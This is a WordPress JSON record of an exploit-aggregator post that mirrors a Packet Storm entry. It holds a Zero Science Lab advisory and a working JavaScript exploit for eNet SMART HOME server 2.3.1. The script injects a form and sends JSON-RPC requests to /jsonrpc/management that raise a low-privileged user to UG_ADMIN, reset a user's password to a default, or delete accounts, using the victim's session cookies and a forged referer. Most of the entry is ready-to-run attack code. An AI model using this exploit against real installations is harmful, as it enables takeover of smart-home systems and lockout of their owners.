{"id":41059,"date":"2026-02-16T12:46:44","date_gmt":"2026-02-16T12:46:44","guid":{"rendered":"http:\/\/localhost\/?p=41059"},"modified":"2026-02-16T12:46:44","modified_gmt":"2026-02-16T12:46:44","slug":"enet-smart-home-server-231-remote-privilege-escalation","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=41059","title":{"rendered":"\ud83d\udcc4 eNet SMART HOME Server 2.3.1 Remote Privilege Escalation_PACKETSTORM:215705"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-16T18:13:24&#8243;,&#8221;description&#8221;:&#8221;The eNet Smart Home system suffers from a privilege escalation vulnerability due to insufficient authorization checks in the JSON-RPC endpoint for user management. A low-privileged user, can exploit the setUserGroup method by sending a crafted POST&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-16T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-16T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 eNet SMART HOME Server 2.3.1 Remote Privilege Escalation&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215705&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;\/*\\n    \\n    eNet SMART HOME server 2.3.1 (setUserGroup) Remote Privilege Escalation\\n    \\n    \\n    Vendor: Gira Giersiepen GmbH \\u0026 Co. KG | ALBRECHT JUNG GmbH \\u0026 Co. KG | Insta GmbH\\n    Product web page: https:\/\/www.enet-smarthome.com\\n    Affected version: 2.3.1 (46841)\\n                      2.2.1 (46056)\\n    \\n    Summary: Two German specialists in building systems technology are jointly bringing\\n    a new, wireless-based smart home system to the market. Gira and JUNG are the companies\\n    behind the eNet SMART HOME brand with our subsidiary, INSTA, responsible for developing\\n    the system. All three of us are old hands when it comes to building automation, and\\n    have a history of connecting buildings in an intelligent way that goes back as far as\\n    the 80s. Gira, JUNG and INSTA were part of the group of companies that initiated and\\n    founded EIBA (now known as KNX). KNX is the first open global standard for home and\\n    building automation. Through KNX, we have decisively shaped the development of intelligent\\n    building systems technology \u2013 and this wealth of experience has now come together in\\n    eNet SMART HOME. The eNet server is the heart of every eNet SMART HOME system and\\n    offers end customers the basis for an easy-to-use and secure Smart Home and installation\\n    engineers easily understandable and professional commissioning of the system.\\n    \\n    Desc: The eNet Smart Home system suffers from a privilege escalation vulnerability due\\n    to insufficient authorization checks in the JSON-RPC endpoint for user management. A\\n    low-privileged user, can exploit the \\&#8221;setUserGroup\\&#8221; method by sending a crafted POST\\n    request to \/jsonrpc\/management, specifying their own username and elevating it to the\\n    \\&#8221;UG_ADMIN\\&#8221; group. This bypasses intended access controls, granting the attacker administrative\\n    capabilities such as modifying device configurations, network settings, and potentially\\n    compromising the entire smart home ecosystem.\\n    \\n    Tested on: GNU\/Linux 4.4.15 (ARMv7 revision 5)\\n               Jetty(9.2.z-SNAPSHOT)\\n    \\n    \\n    Vulnerability discovered by Gjoko &#8216;LiquidWorm&#8217; Krstic\\n                                @zeroscience\\n    \\n    \\n    Advisory ID: ZSL-2026-5975\\n    Advisory URL: https:\/\/www.zeroscience.mk\/en\/vulnerabilities\/ZSL-2026-5975.php\\n    \\n    \\n    07.02.2026\\n    \\n    *\/\\n    \\n    \\n    const existingContainer = document.getElementById(&#8216;exploitSnippet&#8217;);\\n    if (existingContainer) existingContainer.remove();\\n    \\n    const currentProtocol = window.location.protocol.slice(0, -1);\\n    const currentHost = window.location.hostname;\\n    const currentPort = window.location.port || (currentProtocol === &#8216;https&#8217; ? &#8216;443&#8217; : &#8217;80&#8217;);\\n    \\n    const urlParams = new URLSearchParams(window.location.search);\\n    let defaultIcp = urlParams.get(&#8216;icp&#8217;) || &#8221;;\\n    \\n    const formHtml = `\\n    \\u003cdiv id=\\&#8221;exploitSnippet\\&#8221;\\n         style=\\&#8221;position: fixed;\\n                bottom: 20px;\\n                right: 20px;\\n                width: 320px;\\n                background: #2f343a;\\n                color: #e4e7eb;\\n                padding: 20px;\\n                border: 1px solid #4a5560;\\n                border-radius: 8px;\\n                z-index: 9999;\\n                overflow-y: auto;\\n                max-height: 80vh;\\n                font-family: Arial, sans-serif;\\n                font-size: 14px;\\&#8221;\\u003e\\n    \\n      \\u003ch3 style=\\&#8221;margin-top: 0;\\n                 color: #cfd8e3;\\&#8221;\\u003e\\n        eNet SMART HOME &#8211; DRE Exploit\\n      \\u003c\/h3\\u003e\\n    \\n      \\u003clabel\\u003eProtocol:\\u003c\/label\\u003e\\n      \\u003cselect id=\\&#8221;protocol\\&#8221;\\n              style=\\&#8221;width: 100%;\\n                     margin-bottom: 12px;\\n                     background: #3b4148;\\n                     color: #e4e7eb;\\n                     border: 1px solid #56606b;\\n                     border-radius: 4px;\\n                     padding: 6px;\\&#8221;\\u003e\\n        \\u003coption value=\\&#8221;https\\&#8221;\\n                ${currentProtocol === &#8216;https&#8217; ? &#8216;selected&#8217; : &#8221;}\\u003e\\n          https:\/\/\\n        \\u003c\/option\\u003e\\n        \\u003coption value=\\&#8221;http\\&#8221;\\n                ${currentProtocol === &#8216;http&#8217; ? &#8216;selected&#8217; : &#8221;}\\u003e\\n          http:\/\/\\n        \\u003c\/option\\u003e\\n      \\u003c\/select\\u003e\\n    \\n      \\u003clabel\\u003eHost\/IP:\\u003c\/label\\u003e\\n      \\u003cinput type=\\&#8221;text\\&#8221;\\n             id=\\&#8221;host\\&#8221;\\n             value=\\&#8221;${currentHost}\\&#8221;\\n             style=\\&#8221;width: 100%;\\n                    margin-bottom: 12px;\\n                    background: #3b4148;\\n                    color: #e4e7eb;\\n                    border: 1px solid #56606b;\\n                    border-radius: 4px;\\n                    padding: 6px;\\&#8221;\\u003e\\n    \\n      \\u003clabel\\u003ePort:\\u003c\/label\\u003e\\n      \\u003cinput type=\\&#8221;text\\&#8221;\\n             id=\\&#8221;port\\&#8221;\\n             value=\\&#8221;${currentPort}\\&#8221;\\n             style=\\&#8221;width: 100%;\\n                    margin-bottom: 12px;\\n                    background: #3b4148;\\n                    color: #e4e7eb;\\n                    border: 1px solid #56606b;\\n                    border-radius: 4px;\\n                    padding: 6px;\\&#8221;\\u003e\\n    \\n      \\u003clabel\\u003eICP:\\u003c\/label\\u003e\\n      \\u003cinput type=\\&#8221;text\\&#8221;\\n             id=\\&#8221;icp\\&#8221;\\n             value=\\&#8221;${defaultIcp}\\&#8221;\\n             style=\\&#8221;width: 100%;\\n                    margin-bottom: 12px;\\n                    background: #3b4148;\\n                    color: #e4e7eb;\\n                    border: 1px solid #56606b;\\n                    border-radius: 4px;\\n                    padding: 6px;\\&#8221;\\u003e\\n    \\n      \\u003clabel\\u003eAction:\\u003c\/label\\u003e\\n      \\u003cselect id=\\&#8221;action\\&#8221;\\n              style=\\&#8221;width: 100%;\\n                     margin-bottom: 12px;\\n                     background: #3b4148;\\n                     color: #e4e7eb;\\n                     border: 1px solid #56606b;\\n                     border-radius: 4px;\\n                     padding: 6px;\\&#8221;\\u003e\\n        \\u003coption value=\\&#8221;elevate\\&#8221;\\u003eElevate Privileges\\u003c\/option\\u003e\\n        \\u003coption value=\\&#8221;reset\\&#8221;\\u003eReset Password\\u003c\/option\\u003e\\n        \\u003coption value=\\&#8221;delete\\&#8221;\\u003eDelete User\\u003c\/option\\u003e\\n      \\u003c\/select\\u003e\\n    \\n      \\u003cdiv id=\\&#8221;elevateFields\\&#8221;\\u003e\\n        \\u003clabel\\u003eUser Name:\\u003c\/label\\u003e\\n        \\u003cinput type=\\&#8221;text\\&#8221;\\n               id=\\&#8221;userName\\&#8221;\\n               value=\\&#8221;zeroscience\\&#8221;\\n               style=\\&#8221;width: 100%;\\n                      margin-bottom: 12px;\\n                      background: #3b4148;\\n                      color: #e4e7eb;\\n                      border: 1px solid #56606b;\\n                      border-radius: 4px;\\n                      padding: 6px;\\&#8221;\\u003e\\n    \\n        \\u003clabel\\u003eUser Group:\\u003c\/label\\u003e\\n        \\u003cselect id=\\&#8221;userGroup\\&#8221;\\n                style=\\&#8221;width: 100%;\\n                       margin-bottom: 12px;\\n                       background: #3b4148;\\n                       color: #e4e7eb;\\n                       border: 1px solid #56606b;\\n                       border-radius: 4px;\\n                       padding: 6px;\\&#8221;\\u003e\\n          \\u003coption value=\\&#8221;UG_USER\\&#8221;\\u003eUG_USER (lower privs)\\u003c\/option\\u003e\\n          \\u003coption value=\\&#8221;UG_ADMIN\\&#8221;\\u003eUG_ADMIN\\u003c\/option\\u003e\\n        \\u003c\/select\\u003e\\n      \\u003c\/div\\u003e\\n    \\n      \\u003cdiv id=\\&#8221;resetFields\\&#8221; style=\\&#8221;display: none;\\&#8221;\\u003e\\n        \\u003clabel\\u003eUser Name:\\u003c\/label\\u003e\\n        \\u003cinput type=\\&#8221;text\\&#8221;\\n               id=\\&#8221;resetUserName\\&#8221;\\n               value=\\&#8221;admin\\&#8221;\\n               style=\\&#8221;width: 100%;\\n                      margin-bottom: 12px;\\n                      background: #3b4148;\\n                      color: #e4e7eb;\\n                      border: 1px solid #56606b;\\n                      border-radius: 4px;\\n                      padding: 6px;\\&#8221;\\u003e\\n    \\n        \\u003clabel\\u003eDefault Password:\\u003c\/label\\u003e\\n        \\u003cinput type=\\&#8221;text\\&#8221;\\n               id=\\&#8221;defaultPassword\\&#8221;\\n               value=\\&#8221;12345678\\&#8221;\\n               style=\\&#8221;width: 100%;\\n                      margin-bottom: 12px;\\n                      background: #3b4148;\\n                      color: #e4e7eb;\\n                      border: 1px solid #56606b;\\n                      border-radius: 4px;\\n                      padding: 6px;\\&#8221;\\u003e\\n      \\u003c\/div\\u003e\\n    \\n      \\u003cdiv id=\\&#8221;deleteFields\\&#8221; style=\\&#8221;display: none;\\&#8221;\\u003e\\n        \\u003clabel\\u003eUser Name:\\u003c\/label\\u003e\\n        \\u003cinput type=\\&#8221;text\\&#8221;\\n               id=\\&#8221;deleteUserName\\&#8221;\\n               value=\\&#8221;zeroscience\\&#8221;\\n               style=\\&#8221;width: 100%;\\n                      margin-bottom: 12px;\\n                      background: #3b4148;\\n                      color: #e4e7eb;\\n                      border: 1px solid #56606b;\\n                      border-radius: 4px;\\n                      padding: 6px;\\&#8221;\\u003e\\n      \\u003c\/div\\u003e\\n    \\n      \\u003clabel\\u003eRequest ID:\\u003c\/label\\u003e\\n      \\u003cinput type=\\&#8221;text\\&#8221;\\n             id=\\&#8221;requestId\\&#8221;\\n             value=\\&#8221;14\\&#8221;\\n             style=\\&#8221;width: 100%;\\n                    margin-bottom: 12px;\\n                    background: #3b4148;\\n                    color: #e4e7eb;\\n                    border: 1px solid #56606b;\\n                    border-radius: 4px;\\n                    padding: 6px;\\&#8221;\\u003e\\n    \\n      \\u003cbutton id=\\&#8221;runButton\\&#8221;\\n              type=\\&#8221;button\\&#8221;\\n              style=\\&#8221;background: #3a6ea5;\\n                     color: #ffffff;\\n                     border: 1px solid #2e5d8c;\\n                     padding: 8px 16px;\\n                     border-radius: 4px;\\n                     cursor: pointer;\\n                     margin-right: 10px;\\&#8221;\\u003e\\n        RUN\\n      \\u003c\/button\\u003e\\n    \\n      \\u003cbutton id=\\&#8221;closeButton\\&#8221;\\n              type=\\&#8221;button\\&#8221;\\n              style=\\&#8221;background: #5c6773;\\n                     color: #ffffff;\\n                     border: 1px solid #49525c;\\n                     padding: 8px 16px;\\n                     border-radius: 4px;\\n                     cursor: pointer;\\&#8221;\\u003e\\n        Close\\n      \\u003c\/button\\u003e\\n    \\n      \\u003cdiv id=\\&#8221;responseOutput\\&#8221;\\n           style=\\&#8221;margin-top: 12px;\\n                  white-space: pre-wrap;\\n                  background: #252a30;\\n                  color: #d6dde5;\\n                  padding: 10px;\\n                  border: 1px solid #4a5560;\\n                  border-radius: 4px;\\n                  max-height: 200px;\\n                  overflow-y: auto;\\&#8221;\\u003e\\n      \\u003c\/div\\u003e\\n    \\n    \\u003c\/div\\u003e\\n    `;\\n    \\n    document.body.insertAdjacentHTML(&#8216;beforeend&#8217;, formHtml);\\n    \\n    const actionSelect = document.getElementById(&#8216;action&#8217;);\\n    const runButton = document.getElementById(&#8216;runButton&#8217;);\\n    const closeButton = document.getElementById(&#8216;closeButton&#8217;);\\n    const responseOutput = document.getElementById(&#8216;responseOutput&#8217;);\\n    const elevateFields = document.getElementById(&#8216;elevateFields&#8217;);\\n    const resetFields = document.getElementById(&#8216;resetFields&#8217;);\\n    const deleteFields = document.getElementById(&#8216;deleteFields&#8217;);\\n    const requestIdInput = document.getElementById(&#8216;requestId&#8217;);\\n    \\n    const updateFields = (value) =\\u003e {\\n      elevateFields.style.display = value === &#8216;elevate&#8217; ? &#8216;block&#8217; : &#8216;none&#8217;;\\n      resetFields.style.display = value === &#8216;reset&#8217; ? &#8216;block&#8217; : &#8216;none&#8217;;\\n      deleteFields.style.display = value === &#8216;delete&#8217; ? &#8216;block&#8217; : &#8216;none&#8217;;\\n      \\n      let defaultId = &#8217;14&#8217;;\\n      if (value === &#8216;reset&#8217;) defaultId = &#8217;15&#8217;;\\n      if (value === &#8216;delete&#8217;) defaultId = &#8216;6&#8217;;\\n      requestIdInput.value = defaultId;\\n    };\\n    \\n    actionSelect.addEventListener(&#8216;change&#8217;, (e) =\\u003e updateFields(e.target.value));\\n    \\n    updateFields(actionSelect.value);\\n    \\n    runButton.addEventListener(&#8216;click&#8217;, () =\\u003e {\\n      const protocol = document.getElementById(&#8216;protocol&#8217;).value;\\n      const host = document.getElementById(&#8216;host&#8217;).value;\\n      const port = document.getElementById(&#8216;port&#8217;).value;\\n      const icp = document.getElementById(&#8216;icp&#8217;).value;\\n      const action = actionSelect.value;\\n      const requestId = requestIdInput.value;\\n    \\n      if (!icp) {\\n        responseOutput.textContent = &#8216;Error: ICP is required.&#8217;;\\n        console.error(&#8216;ICP is required.&#8217;);\\n        return;\\n      }\\n    \\n      responseOutput.textContent = &#8216;Loading&#8230;&#8217;;\\n    \\n      let method, params;\\n      if (action === &#8216;elevate&#8217;) {\\n        method = &#8216;setUserGroup&#8217;;\\n        params = {\\n          userName: document.getElementById(&#8216;userName&#8217;).value,\\n          userGroup: document.getElementById(&#8216;userGroup&#8217;).value\\n        };\\n      } else if (action === &#8216;reset&#8217;) {\\n        method = &#8216;resetUserPassword&#8217;;\\n        params = {\\n          userName: document.getElementById(&#8216;resetUserName&#8217;).value,\\n          defaultPassword: document.getElementById(&#8216;defaultPassword&#8217;).value\\n        };\\n      } else if (action === &#8216;delete&#8217;) {\\n        method = &#8216;deleteUserAccount&#8217;;\\n        params = {\\n          userName: document.getElementById(&#8216;deleteUserName&#8217;).value\\n        };\\n      }\\n    \\n      const baseUrl = `${protocol}:\/\/${host}:${port}`;\\n      const customReferer = `${baseUrl}\/serverconfiguration.html?icp=${icp}#Usermanagement`;\\n      const fetchUrl = `${baseUrl}\/jsonrpc\/management`;\\n    \\n      const body = JSON.stringify({\\n        \\&#8221;jsonrpc\\&#8221;: \\&#8221;2.0\\&#8221;,\\n        \\&#8221;method\\&#8221;: method,\\n        \\&#8221;params\\&#8221;: params,\\n        \\&#8221;id\\&#8221;: requestId\\n      });\\n    \\n      console.log(&#8216;Sending request to:&#8217;, fetchUrl);\\n      console.log(&#8216;With Referer:&#8217;, customReferer);\\n      console.log(&#8216;Body:&#8217;, body);\\n    \\n      const timeoutPromise = new Promise((_, reject) =\\u003e \\n        setTimeout(() =\\u003e reject(new Error(&#8216;Request timed out&#8217;)), 10000)\\n      );\\n    \\n      Promise.race([timeoutPromise, fetch(fetchUrl, {\\n        method: &#8216;POST&#8217;,\\n        headers: {\\n          &#8216;Content-Type&#8217;: &#8216;application\/json; charset=utf-8&#8217;,\\n          &#8216;Accept-Encoding&#8217;: &#8216;gzip, deflate, br&#8217;,\\n          &#8216;Accept-Language&#8217;: &#8216;ku-MK,ku;j=1.7&#8217;,\\n          &#8216;Accept&#8217;: &#8216;*\/*&#8217;\\n        },\\n        body: body,\\n        credentials: &#8216;include&#8217;,\\n        referrer: customReferer,\\n        referrerPolicy: &#8216;unsafe-url&#8217;\\n      })])\\n      .then(response =\\u003e {\\n        if (response instanceof Error) throw response;\\n        console.log(&#8216;Response status:&#8217;, response.status);\\n        if (!response.ok) {\\n          throw new Error(`HTTP error! Status: ${response.status}`);\\n        }\\n        return response.json();\\n      })\\n      .then(data =\\u003e {\\n        const successMsg = `Success: ${JSON.stringify(data, null, 2)}`;\\n        responseOutput.textContent = successMsg;\\n        console.log(successMsg);\\n        setTimeout(() =\\u003e location.reload(), 2000);\\n      })\\n      .catch(error =\\u003e {\\n        const errorMsg = `Error: ${error.message}`;\\n        responseOutput.textContent = errorMsg;\\n        console.error(errorMsg);\\n      });\\n    });\\n    \\n    closeButton.addEventListener(&#8216;click&#8217;, () =\\u003e {\\n      console.log(&#8216;Closing form&#8230;&#8217;);\\n      const container = document.getElementById(&#8216;exploitSnippet&#8217;);\\n      if (container) {\\n        container.remove();\\n        console.log(&#8216;Form closed.&#8217;);\\n      } else {\\n        console.log(&#8216;Form not found.&#8217;);\\n      }\\n    });&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215705&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215705\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-16T18:13:24&#8243;,&#8221;description&#8221;:&#8221;The eNet Smart Home system suffers from a privilege escalation vulnerability due to insufficient authorization checks in the JSON-RPC endpoint for user management. A low-privileged&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-41059","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 eNet SMART HOME Server 2.3.1 Remote Privilege Escalation_PACKETSTORM:215705 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=41059\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 eNet SMART HOME Server 2.3.1 Remote Privilege Escalation_PACKETSTORM:215705 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-16T18:13:24&#8243;,&#8221;description&#8221;:&#8221;The eNet Smart Home system suffers from a privilege escalation vulnerability due to insufficient authorization checks in the JSON-RPC endpoint for user management. A low-privileged...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=41059\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-16T12:46:44+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"10 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41059#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41059\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 eNet SMART HOME Server 2.3.1 Remote Privilege Escalation_PACKETSTORM:215705\",\"datePublished\":\"2026-02-16T12:46:44+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41059\"},\"wordCount\":1977,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41059#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41059\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41059\",\"name\":\"\ud83d\udcc4 eNet SMART HOME Server 2.3.1 Remote Privilege Escalation_PACKETSTORM:215705 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-16T12:46:44+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41059#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41059\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41059#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 eNet SMART HOME Server 2.3.1 Remote Privilege Escalation_PACKETSTORM:215705\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 eNet SMART HOME Server 2.3.1 Remote Privilege Escalation_PACKETSTORM:215705 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=41059","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 eNet SMART HOME Server 2.3.1 Remote Privilege Escalation_PACKETSTORM:215705 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-16T18:13:24&#8243;,&#8221;description&#8221;:&#8221;The eNet Smart Home system suffers from a privilege escalation vulnerability due to insufficient authorization checks in the JSON-RPC endpoint for user management. A low-privileged...","og_url":"https:\/\/zero.redgem.net\/?p=41059","og_site_name":"zero redgem","article_published_time":"2026-02-16T12:46:44+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"10 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=41059#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=41059"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 eNet SMART HOME Server 2.3.1 Remote Privilege Escalation_PACKETSTORM:215705","datePublished":"2026-02-16T12:46:44+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=41059"},"wordCount":1977,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=41059#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=41059","url":"https:\/\/zero.redgem.net\/?p=41059","name":"\ud83d\udcc4 eNet SMART HOME Server 2.3.1 Remote Privilege Escalation_PACKETSTORM:215705 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-16T12:46:44+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=41059#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=41059"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=41059#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 eNet SMART HOME Server 2.3.1 Remote Privilege Escalation_PACKETSTORM:215705"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero 